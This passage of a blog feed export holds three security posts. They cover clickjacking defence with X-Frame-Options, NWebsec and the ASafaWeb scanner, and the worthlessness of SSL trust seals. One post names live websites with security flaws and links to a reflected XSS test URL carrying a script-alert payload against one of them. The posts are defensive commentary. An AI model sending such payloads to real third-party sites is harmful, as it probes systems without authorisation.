&lt;p&gt;&lt;img width="518" height="428" title="" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="Chrome showing the banking page is still requested" src="http://lh4.ggpht.com/-fSFHIhLDTew/UZC0FwXcUvI/AAAAAAAAFSM/F1hQOw6m1rQ/image6.png?imgmax=800" border="0"&gt;&lt;/p&gt;
&lt;p&gt;Check the status of that last request to Transfer.aspx – it’s now “cancelled” which is &lt;em&gt;kind of &lt;/em&gt;right. As I said earlier, the request is actually still made and indeed you can inspect the response headers:&lt;/p&gt;
&lt;p&gt;&lt;img width="518" height="442" title="" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="The X-Frame-Options header set to DENY" src="http://lh4.ggpht.com/-NlW25GZ9r0k/UZC0Jj-5WgI/AAAAAAAAFSU/JYgr-CUOH80/image91.png?imgmax=800" border="0"&gt;&lt;/p&gt;
&lt;p&gt;Just to close the loop on things, there’s that XFO header. Job done!&lt;/p&gt;
&lt;h4&gt;Protecting your ASP.NET app with NWebsec&lt;/h4&gt;
&lt;p&gt;Adding response headers to most frameworks is a piece of cake, ASP.NET included. Normally I’d just go and &lt;a href="http://msdn.microsoft.com/en-us/library/ms227673(v=vs.100).aspx"&gt;create a custom HTTP module&lt;/a&gt; and be done with it but being a fan of taking community projects that already work well, it’s worth checking out &lt;a href="http://nwebsec.codeplex.com/"&gt;NWebsec&lt;/a&gt; first. This little package was created by &lt;a href="http://www.dotnetnoob.com/"&gt;André Klingsheim&lt;/a&gt; who has done a number of clever security things over the years. As with all good .NET packages it can be &lt;a href="https://www.nuget.org/packages/NWebsec"&gt;easily grabbed from NuGet&lt;/a&gt;:&lt;/p&gt;&lt;pre&gt;PM&amp;gt; Install-Package NWebsec&lt;/pre&gt;
&lt;p&gt;One of the things I like about NWebsec is that it’s a configuration-only install; there’s no recompile, just drop in the libraries and setup the web.config and you’re done. For some people, this is quite advantageous. The other neat thing is that it tackles a bunch of other security related headers as well. For example, I just dropped it into &lt;a href="https://asafaweb.com/"&gt;ASafaWeb&lt;/a&gt; and used it to both add an XFO header and replace my existing HSTS header code with just a web.config configuration. Speaking of ASafaWeb…&lt;/p&gt;
&lt;h4&gt;Detecting the clickjack risk with ASafaWeb&lt;/h4&gt;
&lt;p&gt;As many of you will already know, I maintain a little security misconfiguration scanner called &lt;a href="https://asafaweb.com"&gt;ASafaWeb&lt;/a&gt; which is the Automated Security Analyser for ASP.NET Websites. As the name suggests, it’s predominantly aimed at security misconfiguration of sites built on the Microsoft stack but its horizons are increasingly being broadened. For example, I recently &lt;a href="http://www.troyhunt.com/2013/03/c-is-for-cookie-h-is-for-hacker.html"&gt;added support for detecting HTTP only and secure cookies&lt;/a&gt; which, of course, works across any web platform that talks in HTTP.&lt;/p&gt;
&lt;p&gt;Now I’ve added support for detecting XFO. It’s a real no-brainer for ASafaWeb as it just involves looking at the response headers of one of the requests it already makes so that’s no additional HTTP overhead by way of additional requests. &lt;a href="https://asafaweb.com/Scan?Url=notasafaweb.apphb.com#ClickjackingResult"&gt;Here’s what a sample scan looks like when no clickjacking defence exists&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img width="810" height="418" title="" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="ASafaWeb scan showing no XFO header exists" src="http://lh4.ggpht.com/-ZdYdaZumMiM/UZC0KEAHq0I/AAAAAAAAFSc/9fmfrdxze7k/image24.png?imgmax=800" border="0"&gt;&lt;/p&gt;
&lt;p&gt;You’ll see that ASafaWeb flags it as a warning and there are a few different reasons for that. Firstly, it may be perfectly legitimate not to set an XFO header because there are cases where you &lt;em&gt;want &lt;/em&gt;your content to be framed by other sites beyond what is feasible to describe with an ALLOW-FROM value. It’s rare, but there are cases. Secondly, flagging this an error alongside risks such as an exposed ELMAH log or a page stack trace is not really commensurate with the actual risk it poses. I did exactly the same thing with the &lt;a href="http://www.troyhunt.com/2012/02/shhh-dont-let-your-response-headers.html"&gt;excessive headers scan&lt;/a&gt; for the same reason. Finally, I’m going to take a guess here and say that 90%+ of sites are going to fail this scan. I do store de-identified logs so I’ll be able to validate this assumption once some data is collected, but marking almost every single scan someone does as having an “error” can be counter-productive, particularly when people also have &lt;a href="http://www.troyhunt.com/2012/08/welcome-to-asafaweb-scheduler.html"&gt;scheduled scans&lt;/a&gt; which are only triggered when an error state occurs.&lt;/p&gt;
&lt;p&gt;If this post has sparked your interest, go and drop some of your sites into ASafaWeb and you’ll quickly get an idea of how many are at risk of a clickjacking attack. It will almost certainly be many.&lt;/p&gt;
&lt;h4&gt;More on XFO&lt;/h4&gt;
&lt;p&gt;It’s interesting to look at how other websites implement XFO. For example, here’s what Facebook does:&lt;/p&gt;&lt;pre&gt;X-Frame-Options: DENY&lt;/pre&gt;
&lt;p&gt;And Twitter:&lt;/p&gt;&lt;pre&gt;x-frame-options: SAMEORIGIN&lt;/pre&gt;
&lt;p&gt;And even GitHub:&lt;/p&gt;&lt;pre&gt;X-Frame-Options: deny&lt;/pre&gt;
&lt;p&gt;On the other hand, let’s look at what our “Big 4” Aussie banks do:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href="http://anz.com.au"&gt;ANZ&lt;/a&gt; – no XFO&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.commbank.com.au/"&gt;Commonwealth&lt;/a&gt; – nothing there&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.westpac.com.au/"&gt;Westpac&lt;/a&gt; – nada&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.nab.com.au/"&gt;NAB&lt;/a&gt; – nope&lt;/li&gt;&lt;/ol&gt;
&lt;p&gt;Now of course the clickjacking risk can only really be exploited when there’s an advantage to be gained by a victim unknowingly clicking on a link, so for example once they’re actually logged on to their bank account &lt;em&gt;and &lt;/em&gt;assuming it’s a mere single link click that doesn’t require follow-up action to actually impact a change. Maybe that usage pattern doesn’t exist behind the logons of those banks but at the end of the day, we’re just talking about a few bytes added to the response header so it’s not like implementing XFO is going to cause any tangible adverse impact.&lt;/p&gt;
&lt;p&gt;Ultimately, this is just another one of those little additional security value-add features. It’s not exactly in the same league as SQL injection or cross site scripting, but &lt;a href="http://www.troyhunt.com/2012/10/she-did-what-in-school-mechanics-of.html"&gt;as I’ve written before&lt;/a&gt;, it can be a real nuisance when leveraged against features such as a Facebook “like” buttons. Plus of course there are genuine cases where it can cause damage, particularly when combined with other sloppy practices such as far-reaching session expirations. Just add an XFO header and be done with it.&lt;/p&gt;  &lt;img src="http://feeds.feedburner.com/~r/TroyHunt/~4/NYG1lBO1phw" height="1" width="1"/&gt;</content><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3977663544337573923/posts/default/4718366305660480889?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3977663544337573923/posts/default/4718366305660480889?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/TroyHunt/~3/NYG1lBO1phw/clickjack-attack-hidden-threat-right-in.html" title="Clickjack attack – the hidden threat right in front of you" /><author><name>Troy Hunt</name><uri>https://plus.google.com/111846329802076778489</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh3.googleusercontent.com/-r4_CjHr7f7Q/AAAAAAAAAAI/AAAAAAAAEiM/0rQBorSp1ho/s512-c/photo.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://lh3.ggpht.com/-uFYu1_D0wOk/UZC0A8o7HrI/AAAAAAAAFRc/n8NAqJdjBJg/s72-c/image5.png?imgmax=800" height="72" width="72" /><feedburner:origLink>http://www.troyhunt.com/2013/05/clickjack-attack-hidden-threat-right-in.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0EDRns4eCp7ImA9WhBaEE0.&quot;"><id>tag:blogger.com,1999:blog-3977663544337573923.post-7049350034235553282</id><published>2013-05-08T22:24:00.001+10:00</published><updated>2013-05-20T09:21:17.530+10:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2013-05-20T09:21:17.530+10:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="SSL" /><category scheme="http://www.blogger.com/atom/ns#" term="Security" /><title>Here’s why you can’t trust SSL logos on HTTP pages (even from SSL vendors)</title><content type="html">&lt;p&gt;A couple of days ago I wrote about &lt;a href="http://www.troyhunt.com/2013/05/why-i-am-worlds-greatest-lover-and.html"&gt;Why I am the world’s greatest lover (and other worthless security claims)&lt;/a&gt; and it&amp;nbsp; really seemed to resonate with people. In short, whacking a seal on your website that talks about security awesomeness in no way causes security awesomeness. Andy Gambles gets that and shared this tweet with me:&lt;/p&gt; &lt;p&gt;&lt;a href="https://twitter.com/andygambles/status/332065425485611008"&gt;&lt;img width="463" height="330" title="" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="@troyhunt so when an SSL vendor is saying stuff like this http://st.cm/18WVy6O  does that give us any hope?" src="http://lh6.ggpht.com/-03AmIWzhGP4/UYpD9CsnfwI/AAAAAAAAFQw/7XcoZobRvw8/SNAGHTML4122a27b%25255B4%25255D.png?imgmax=800" border="0"&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;So let’s check out exactly what’s going on here and you really need video to understand the fatal flaw in the logic of SSL logos coming down over HTTPS:&lt;/p&gt;

&lt;iframe width="100%" height="480" src="http://www.youtube.com/embed/Z3aCT4FAuYA" frameborder="0" allowfullscreen="allowfullscreen"&gt;&lt;/iframe&gt; 

&lt;p&gt;So there you go – it can be that simple. How I MiTM’d the page so easily is not really the point, the point is that an SSL logo on an unprotected page is as good as worthless (and frankly they’re not much good on protected pages either).&lt;/p&gt;  &lt;img src="http://feeds.feedburner.com/~r/TroyHunt/~4/I6qrJWxwYu8" height="1" width="1"/&gt;</content><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3977663544337573923/posts/default/7049350034235553282?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3977663544337573923/posts/default/7049350034235553282?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/TroyHunt/~3/I6qrJWxwYu8/heres-why-you-cant-trust-ssl-logos-on.html" title="Here’s why you can’t trust SSL logos on HTTP pages (even from SSL vendors)" /><author><name>Troy Hunt</name><uri>https://plus.google.com/111846329802076778489</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh3.googleusercontent.com/-r4_CjHr7f7Q/AAAAAAAAAAI/AAAAAAAAEiM/0rQBorSp1ho/s512-c/photo.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://lh6.ggpht.com/-03AmIWzhGP4/UYpD9CsnfwI/AAAAAAAAFQw/7XcoZobRvw8/s72-c/SNAGHTML4122a27b%25255B4%25255D.png?imgmax=800" height="72" width="72" /><feedburner:origLink>http://www.troyhunt.com/2013/05/heres-why-you-cant-trust-ssl-logos-on.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A0UNSH8-fSp7ImA9WhBUGE4.&quot;"><id>tag:blogger.com,1999:blog-3977663544337573923.post-3340518537360018028</id><published>2013-05-06T21:21:00.001+10:00</published><updated>2013-05-06T21:21:39.155+10:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2013-05-06T21:21:39.155+10:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="SSL" /><category scheme="http://www.blogger.com/atom/ns#" term="Security" /><title>Why I am the world’s greatest lover (and other worthless security claims)</title><content type="html">&lt;p&gt;I’ve been considering purchasing one of these t-shirts:&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;img width="500" height="500" title="" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="The World's Greatest Lover T-shirt" src="http://lh6.ggpht.com/-CPnLLVDGukQ/UYeSF5C_bMI/AAAAAAAAFO4/45Ppn4RkeSE/414QOIA7vnL2.jpg?imgmax=800" border="0"&gt;&lt;/p&gt; &lt;p&gt;This shirt would announce to everyone who crosses my path that I am, in fact, the world’s greatest lover. They would know this because I have a t-shirt that tells them so and it would give them enormous confidence in my sexual prowess.&lt;/p&gt; &lt;p&gt;If ever I was challenged on the claim, I could quite rightly say that nobody has ever demonstrated that this is not the case and there are no proven incidents that disprove it.&lt;/p&gt; &lt;p&gt;Sound ridiculous? Of course it is but somehow we’ve come to accept this practice – or at least tolerate it – by virtue of images like these:&lt;/p&gt; &lt;p&gt;&lt;img width="300" height="162" title="" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="Norton Secured - Powered by VeriSign" src="http://lh4.ggpht.com/-MJQX__5VXPI/UYeSGo2GOBI/AAAAAAAAFPA/ppBynNo4_a0/seal4.jpg?imgmax=800" border="0"&gt;&lt;/p&gt;&lt;a name='more'&gt;&lt;/a&gt; &lt;p&gt;The futility of this logo struck me last month when I wrote about &lt;a href="http://www.troyhunt.com/2013/04/5-ways-to-implement-https-in.html"&gt;5 ways to implement HTTPS in an insufficient manner (and leak sensitive data)&lt;/a&gt;. Here was a site that despite the assertions of the owner that it was “secure”, sent sensitive data in the clear, had mixed mode HTTP and HTTPS content, sent auth cookies over an insecure connection, didn’t flag sensitive cookies as secure to begin with and relied on HTTP to load the login form. Oh – and had a “Norton Secured” logo.&lt;/p&gt; &lt;p&gt;The futility of the logo really struck me when I read this forum response from Top CashBack after they were asked “how safe are your bank details in TCB”:&lt;/p&gt; &lt;p&gt;&lt;img width="880" height="411" title="" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="&amp;quot;If you go to your account and scroll to the bottom of the page, you will see the logos for both Verisign and McAfee Secure&amp;quot;" src="http://lh5.ggpht.com/-UMjrbPMcL7Y/UYeSHY0EORI/AAAAAAAAFPI/SNcTX_-fe94/image16.png?imgmax=800" border="0"&gt;&lt;/p&gt; &lt;p&gt;The site is secure because it has logos. Not just one logo, but two logos. This is beginning to be reminiscent of the &lt;a href="http://www.troyhunt.com/2011/07/padlock-icon-must-die.html"&gt;entirely nonsensical padlock icon bitmap&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;So what exactly does this logo get you? &lt;a href="http://www.symantec.com/en/au/page.jsp?id=seal-transition"&gt;According to Norton&lt;/a&gt; (or rather Symantec who owns the brand), you get consumer trust:&lt;/p&gt; &lt;ol&gt; &lt;li&gt;77% of consumers recognize the Norton Secured Seal.&lt;/li&gt; &lt;li&gt;65% of consumers agree that a website displaying the Norton Secured Seal is safe to browse and won’t give them a virus.&lt;/li&gt; &lt;li&gt;55% of consumers agree that a website displaying the Norton Secured Seal means that the website protects their online privacy.&lt;/li&gt;&lt;/ol&gt; &lt;p&gt;It’s the last two points that I found particularly interesting so I thought I’d take a browse around at &lt;a href="https://www.google.com.au/search?safe=off&amp;amp;biw=1680&amp;amp;bih=989&amp;amp;tbm=isch&amp;amp;sa=1&amp;amp;q=%22norton+secured%22+logo&amp;amp;oq=%22norton+secured%22+logo&amp;amp;gs_l=img.3...623057.624271.0.624461.6.5.0.0.0.0.0.0..0.0...0.0...1c.1.12.img.hEg4abxYsew"&gt;sites displaying the logo&lt;/a&gt;. Almost every random example I picked where this logo had been used had basic security flaws. Not obscure hypothetical flaws but rather easily observable, readily exploitable flaws.&lt;/p&gt; &lt;p&gt;&lt;a href="http://www.versaliftsystems.com/"&gt;Versa Lift&lt;/a&gt; has mixed mode HTTP and HTTPS when you go to checkout:&lt;/p&gt; &lt;p&gt;&lt;img width="572" height="404" title="" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="Versa Lift website with mixed mode HTTP and HTTPS" src="http://lh6.ggpht.com/-MTdhWnIJMNQ/UYeSH_y7wRI/AAAAAAAAFPM/UmNUaYAVLGM/SNAGHTML41e4da83.png?imgmax=800" border="0"&gt;&lt;/p&gt; &lt;p&gt;&lt;a href="http://www.mybinding.com/"&gt;MyBinding.com&lt;/a&gt; also messes this up:&lt;/p&gt; &lt;p&gt;&lt;img width="363" height="296" title="" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="MyBinding.com website with mixed mode HTTP and HTTPS" src="http://lh4.ggpht.com/-vy0gcNvlu3I/UYeSLKpU_mI/AAAAAAAAFPY/ZX4rdANJX6k/SNAGHTML4292ed23.png?imgmax=800" border="0"&gt;&lt;/p&gt; &lt;p&gt;And then they let you choose a 3 character password. And email it to you:&lt;/p&gt; &lt;p&gt;&lt;img width="429" height="278" title="" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="MyBinding.com website sending 3 char password in plain text" src="http://lh4.ggpht.com/-OA6u95_1Ugw/UYeSLqg6BvI/AAAAAAAAFPc/O5TCgDbXzNA/SNAGHTML42b09c53.png?imgmax=800" border="0"&gt;&lt;/p&gt; &lt;p&gt;Then there’s &lt;a href="http://www.tanguito.co.uk/tango-clothing/"&gt;Tanguito dancewear&lt;/a&gt; which has many impressive logos:&lt;/p&gt; &lt;p&gt;&lt;img width="494" height="172" title="" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="Tanguito dancewear with Norton and Trustwave logos" src="http://lh4.ggpht.com/-CYwpOoZHIXY/UYeSMLIoATI/AAAAAAAAFPk/FVJtbfhUJUI/SNAGHTML431f4bf3.png?imgmax=800" border="0"&gt;&lt;/p&gt; &lt;p&gt;And no transport layer protection whatsoever on the login (and no, it doesn’t even post over HTTPS which would still be insufficient anyway):&lt;/p&gt; &lt;p&gt;&lt;img width="410" height="444" title="" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="Tanguito dancewear logon with no HTTPS" src="http://lh5.ggpht.com/-2ICu58mKazA/UYeSMr7fVVI/AAAAAAAAFPw/WXsiKz7bN3U/SNAGHTML45b5b4f3.png?imgmax=800" border="0"&gt;&lt;/p&gt; &lt;p&gt;There’s also no HTTPS on the &lt;a href="http://www.rarefile.net/"&gt;RareFile&lt;/a&gt; login (and we have multi-logos again):&lt;/p&gt; &lt;p&gt;&lt;img width="537" height="398" title="" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="RareFile logon with no HTTPS" src="http://lh3.ggpht.com/-ziF7o6HSmyo/UYeSNWqKH_I/AAAAAAAAFP4/UBKA2JfPBY4/SNAGHTML45b18853.png?imgmax=800" border="0"&gt;&lt;/p&gt; &lt;p&gt;None on &lt;a href="http://www.chemicalcontainers.com/"&gt;Chemical Containers inc.&lt;/a&gt; either:&lt;/p&gt; &lt;p&gt;&lt;img width="420" height="294" title="" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="Chemical Containers logon with no HTTPS" src="http://lh5.ggpht.com/-dhg0woNGLeI/UYeSN0iem3I/AAAAAAAAFQA/Ho4cn90KUiU/SNAGHTML45ee0373.png?imgmax=800" border="0"&gt;&lt;/p&gt; &lt;p&gt;Or there’s &lt;a href="http://www.imeds.com.br/medicina?t=0&amp;amp;q=%3Cscript%3Ealert%28%27XSS%21%27%29%3C%2Fscript%3E"&gt;iMeds with the simplest of reflected XSS&lt;/a&gt;:&lt;/p&gt; &lt;p&gt;&lt;img width="667" height="309" title="" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="iMeds with reflected XSS" src="http://lh6.ggpht.com/-Jcc8b8jkH2U/UYeSOsz4ofI/AAAAAAAAFQI/sg1V4t1H_u4/SNAGHTML4b4d81e3.png?imgmax=800" border="0"&gt;&lt;/p&gt; &lt;p&gt;Continuing with the non-SSL theme, there’s &lt;a href="http://www.telegraphcottages.co.uk/"&gt;Telegraph Cottages&lt;/a&gt;:&lt;/p&gt; &lt;p&gt;&lt;img width="602" height="371" title="" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="Telegraph Cottages" src="http://lh4.ggpht.com/-tvhQ8A7mWKw/UYeSPAnAKGI/AAAAAAAAFQQ/1xvW9RAjL8Q/SNAGHTML4b799983.png?imgmax=800" border="0"&gt;&lt;/p&gt; &lt;p&gt;But get &lt;a href="http://www.telegraphcottages.co.uk/%3C"&gt;one illegal character into the URL&lt;/a&gt; and we have a case of Yellow Screen of Death via security misconfiguration courtesy of a misconfigured web.config:&lt;/p&gt; &lt;p&gt;&lt;img width="783" height="413" title="" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="Yellow Screen of Death on Telegraph Cottages" src="http://lh3.ggpht.com/-7IA7Icg-pn0/UYeSPxuMakI/AAAAAAAAFQY/Z_FIwSAuNQ8/SNAGHTML4b84d1e3.png?imgmax=800" border="0"&gt;&lt;/p&gt; &lt;p&gt;And so on and so forth. The list goes on and on and on and, well, there’s a lot.&lt;/p&gt; &lt;p&gt;Of course there’s (unfortunately) nothing unusual about websites getting basic security practices like these wrong but when they do so &lt;em&gt;and&lt;/em&gt; claim to have reached some higher moral security ground by virtue of a Norton or McAfee or any other seal then that’s just downright misleading. Claiming that the website is “safe to browse” or that it “protects [consumers’] online privacy” simply by the presence of a bitmap image is way off the mark. Who knows, maybe these cases have simply abused the acceptable use of the imagery but one thing is for sure; they’ve got their basics wrong on the security front and no number of security logos will change that.&lt;/p&gt; &lt;p&gt;If you believe &lt;a href="http://www.conversioniq.com/casestudies/norton-secured-verisign-conversion-rate-case-study/"&gt;the marketing hype&lt;/a&gt; (and I would definitely take this with a grain of salt), one of these little logos could lead to a 11% improvement in sales and 52% lift in sales from paid search. Suddenly the value proposition to websites becomes a lot more tangible and again, &lt;em&gt;it all comes back to establishing trust&lt;/em&gt;. Unfortunately it’s just not warranted in so many of the cases where the logo appears.&lt;/p&gt; &lt;p&gt;But of course it begs the question: what exactly do you need to do in order to display this seal which will boost your appeal with consumers? Have your site audited by security professionals? Scanned by a comprehensive dynamic analysis tool? Self-assess against a set of stringent criteria? Nope, you &lt;a href="http://www.symantec.com/ssl/seal-agreement/install.jsp"&gt;buy one of their SSL certs or have them check there’s no malware on the site&lt;/a&gt;:&lt;/p&gt; &lt;p&gt;&lt;img width="760" height="159" title="" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="Note: You must purchase a Symantec SSL Certificate or Symantec Safe Site before installing the Norton Secured Seal." src="http://lh5.ggpht.com/-CST0INPZ5xY/UYeSQe5IeUI/AAAAAAAAFQc/42-HTb9sAdQ/image19.png?imgmax=800" border="0"&gt;&lt;/p&gt; &lt;p&gt;Now interestingly, in theory, this also means embedding the seal with a piece of script which appears to go some way to verifying the fact that the page displaying the seal is indeed protected with one of their certs. Clearly this isn’t the case in some of the examples above but how is a consumer to know that? And whilst there’s absolutely nothing wrong with a Symantec SSL cert (at least not to my knowledge), when used as intended the presence of the seal merely verifies that the page in which it is embedded is loaded over HTTPS. The whole idea of OWASP calling &lt;a href="http://www.troyhunt.com/2011/11/owasp-top-10-for-net-developers-part-9.html"&gt;part 9 of the Top 10&lt;/a&gt; “Insufficient” Transport Layer Protection is that there is far more to SSL than just having a cert; &lt;em&gt;it has to be used correctly!&lt;/em&gt;&lt;/p&gt; &lt;p&gt;At the end of the day, the only real difference between the t-shirt at the start of this post and the website badges above is that it’s simple to disprove the claim of the latter.&lt;/p&gt;  &lt;img src="http://feeds.feedburner.com/~r/TroyHunt/~4/ANg3Fzu8O74" height="1" width="1"/&gt;</content><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3977663544337573923/posts/default/3340518537360018028?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3977663544337573923/posts/default/3340518537360018028?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/TroyHunt/~3/ANg3Fzu8O74/why-i-am-worlds-greatest-lover-and.html" title="Why I am the world’s greatest lover (and other worthless security claims)" /><author><name>Troy Hunt</name><uri>https://plus.google.com/111846329802076778489</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh3.googleusercontent.com/-r4_CjHr7f7Q/AAAAAAAAAAI/AAAAAAAAEiM/0rQBorSp1ho/s512-c/photo.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://lh6.ggpht.com/-CPnLLVDGukQ/UYeSF5C_bMI/AAAAAAAAFO4/45Ppn4RkeSE/s72-c/414QOIA7vnL2.jpg?imgmax=800" height="72" width="72" /><feedburner:origLink>http://www.troyhunt.com/2013/05/why-i-am-worlds-greatest-lover-and.html</feedburner:origLink></entry></feed>
